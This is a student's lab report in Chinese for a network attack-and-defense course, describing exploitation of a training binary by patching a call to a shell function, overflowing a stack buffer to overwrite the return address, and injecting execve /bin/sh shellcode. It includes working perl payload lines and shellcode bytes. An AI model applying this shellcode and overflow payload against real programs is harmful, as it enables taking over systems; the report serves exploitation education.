20232310 2025-2026-1 《網絡與系統攻防技術》 實驗一實驗報告
20232310 2025-2026-1 《網絡與系統攻防技術》 實驗一實驗報告
一、實驗目的
篡改程序流程——直接修改可執行文件,跳轉至getShell;
棧溢出攻擊——利用foo函數的緩沖區溢出漏洞,覆蓋返回地址觸發getShell;
Shellcode注入——構造惡意輸入注入自定義Shellcode并執行。
二、基礎知識
1.NOP, JNE, JE, JMP, CMP匯編指令的機器碼
(1)NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什么也不做,僅僅當做一個指令執行過去并繼續執行NOP后面的一條指令。(機器碼:90)
(2)JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)
(3)JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
(4)JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
(5)CMP:比較指令,功能相當于減法指令,只是對操作數之間運算比較,不保存結果。cmp指令執行后,將對標志寄存器產生影響。其他相關指令通過識別這些被影響的標志寄存器位來得知比較結果。
2.反匯編
(1)由已生成的機器語言(二進制語言)轉化為匯編語言的過程,也可以說是匯編的逆向過程
(2)在本次實驗中,我們在Linux環境下使用objdump反匯編工具對pwn1文件進行反匯編
(3)反匯編指令objdump -d <文件名>
3.十六進制編輯器
(1)十六進制編輯器是用于編輯單個字節數據的軟件應用程序,主要由程序員或系統管理員使用。Linux系統中可以使用多種十六進制編輯器,在本次實驗中我主要使用xxd,xxd 是一個命令行十六進制編輯器,可以創建二進制文件的十六進制轉儲。
(2)%!xxd 進入十六進制編輯模式
(3)%!xxd -r 切換回原模式
三、實驗過程
1.直接修改程序機器指令,改變程序執行流程
我先登錄root賬戶,后修改主機名為203232310
再通過共享文件夾將pwn1文件傳輸到虛擬機,(實際上kali可以直接從桌面把文件拖入虛擬機,這個很好用)并修改名字為pwn20232310。

運行一下,回顯正常,正常運行。

讓我們現在開始反匯編,輸入
objdump -d pwn20232310 | more


此時我們需將call foo修改為call getShell,即把地址8048491替換為getShell的入口地址804847d。
而Call指令的跳轉原理是相對跳轉,即EIP+偏移量=當前命令地址。
計算偏移量:804847d - 80484ba = -61,其補碼表示為0xffffffc3。
由于x86架構采用小端存儲,將機器碼中的0xd7ffffff修改為0xc3ffffff。
復制為pwn20232310_2。
修改文件pwn20232310_2,使用%!xxd進入十六進制編輯器,找到e8d7ffffff改為e8c3ffffff。(在04b0行)

修改后,再看,跳轉至getshell,ok。

執行pwn20232310_2,成功執行命令,說明修改成功,執行了getShell。

2.通過構造輸入參數,造成BOF攻擊,改變程序執行流
同樣,反匯編一下
objdump -d pwn20232310 | more
發現這個foo函數只預留28(0x1c)字節的緩沖區來讀取字符串,因此存在緩沖區溢出(Bof)漏洞。

我要執行getShell,所以需要用其起始地址來覆蓋返回地址,即804847d。因為在程序中函數的調用使用堆棧的形式,在輸入的緩沖區上方是4字節的foo函數返回,更上方才是4字節main函數返回,所以應該輸入28+4+4=36個數字其中最后4個數字的16進制為\x7d\x84\x04\x08。
使用 gdb 調試程序,輸入測試字符串 1111111122222222333333334444444412345678,然后執行 info r查看寄存器狀態,發現 EIP(存儲下一條指令地址的寄存器)被覆蓋為 0x34333231(即字符串 "1234" 的 ASCII 碼)

通過反匯編已知 getShell 函數的入口地址為 0x0804847d。因此,只需將字符串末尾的 "1234" 替換為該地址的字節表示,即可讓程序在返回時跳轉至 getShell。為了利用緩沖區溢出漏洞,我們需要將返回地址覆蓋為getShell函數的地址0x0804847d。
也就是11111111222222223333333344444444\x7d\x84\x04\x08
輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
然后然后將input的輸入,通過管道符“|”,作為pwn20232310的輸入。
成功!

3.注入Shellcode并執行
以nops+shellcode+retaddr為結果構造shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
打開一個終端注入這段攻擊buf:

再開另外一個終端,找到這個進程

gdb來調試pwn1這個進程。通過設置斷點,來查看注入buf的內存地址

看到 01020304了,就是返回地址的位置。shellcode就挨著,所以地址是 0xffffd020。

重新編寫shellcode,結構為:anything+retaddr+nops+shellcode。
perl -e 'print "A" x 32;print "\x20\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

成功了!!
三、問題及解決方案
-
問題1:發現無論如何都下載不了execstack,提示 "ERROR 404: Not Found",無法獲取工具;群里的下載鏈接已失效,學習通的prelink源碼下載到虛擬機后編譯也出現報錯;
-
問題1解決方案:
但是使用
readelf -l pwn4 | grep -A1 GNU_STACK驗證pwn文件的棧是rwe,顯示可被執行。直接往下做,發現沒有任何問題。說明execstack不是必要的。
-
問題2:開始的時候盲目跟著指導書做,shellcode注入一直失敗,"zsh: segmentation fault ./pwnzxy",程序崩潰
-
問題2解決方案:
后來發現是每臺電腦每次啟動后,內部地址都可能發生變化,導致返回地址覆蓋位置錯誤,根據自己電腦的詳細地址去編寫注入語句就可以解決問題。 -
問題3:對于gdb和匯編極其不熟練,剛開始看的頭皮發麻
-
問題3解決方案:
對著指導書一步步做,瘋狂問ai,刨根究底,才總算學明白了。
4.學習感悟、思考等
之前學習了一點點的ctf知識,根本學不明白,然后就基本處于放棄的姿態。這次的實驗讓我感受很深,原來只是一個緩沖區溢出就有這么多門道和攻擊方法,讓我大開眼界。之前學編程只知道get函數容易溢出,fget比較安全,卻不知道其中的真正原理。這樣的實操下,我對于gdb、棧、溢出等知識的研究大大深入了。對于匯編的理解也大大加深了,感覺很有意思,期待更加深入的學習。這次實驗做了很久,出現了許多問題,最終順利解決,但通過這些問題,我對知識的理解更加深入,大大激發我學習的興趣。我一定會努力學習網絡攻防的技能,成為一個更強的"ctfer"!

浙公網安備 33010602011771號